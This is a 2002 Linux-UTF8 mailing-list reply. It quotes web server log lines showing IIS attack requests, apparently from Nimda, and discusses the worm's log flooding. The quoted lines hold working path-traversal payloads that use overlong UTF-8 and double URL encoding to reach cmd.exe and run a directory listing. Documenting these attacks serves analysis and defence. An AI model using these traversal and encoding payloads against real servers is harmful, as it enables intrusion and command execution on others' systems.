On 2002-02-14 22:50 Markus Kuhn wrote:

> For those of you still wondering what I was worried about a few years
> ago with regard to overlong UTF-8 sequences, here some extract from
> our httpd log files:
>
> ...
> GET /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir+C:\ HTTP/1.0
> GET /scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir+C:\ HTTP/1.0
> GET /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+C:\ HTTP/1.0
> GET /scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+C:\ HTTP/1.0
> GET /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+C:\ HTTP/1.0
> GET /scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+C:\ HTTP/1.0
> GET /msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+C:\ HTTP/1.0
> GET 
>/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+C:\ 
>HTTP/1.0
> GET /msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+C:\ HTTP/1.0
> GET 
>/msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+C:\ 
>HTTP/1.0
> GET /msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+C:\ HTTP/1.0
> GET /msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+C:\ HTTP/1.0
> GET /msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+C:\ 
>HTTP/1.0
> ...
>
> P.S.: Has anyone an idea, which IIS worm performs the above HTTP
> vulnerability tests? Is it one of the later Nimda variants or
> something else?

Think it is one of the earliest Nimda variants. My access_log and
error_log was flooded with similar false hits. About 190.000 hits like
that in one day. Think it was around 2001-09-19, after some days it
decreased quite rapidly. Filled up my log partition first, though.
Quite annoying. I really wonder how much bandwith resources those worms
throw away. Guess when micro$oft gets this .net thing on track with
their funny protocols things will not actually improve.

�yvind

+===================================================================+
| OpenPGP: 0xAD19826C 2000-01-24 �yvind A. Holm <[EMAIL PROTECTED]> |
| Fingerprint: EAE5 DCA0 0626 5DAA 72F8  0435 2E2B E476 AD19 826C   |
+=========== 2 + 2 = 5 for extremely large values of 2. ============+

--
Linux-UTF8:   i18n of Linux on all levels
Archive:      http://mail.nl.linux.org/linux-utf8/

Reply via email to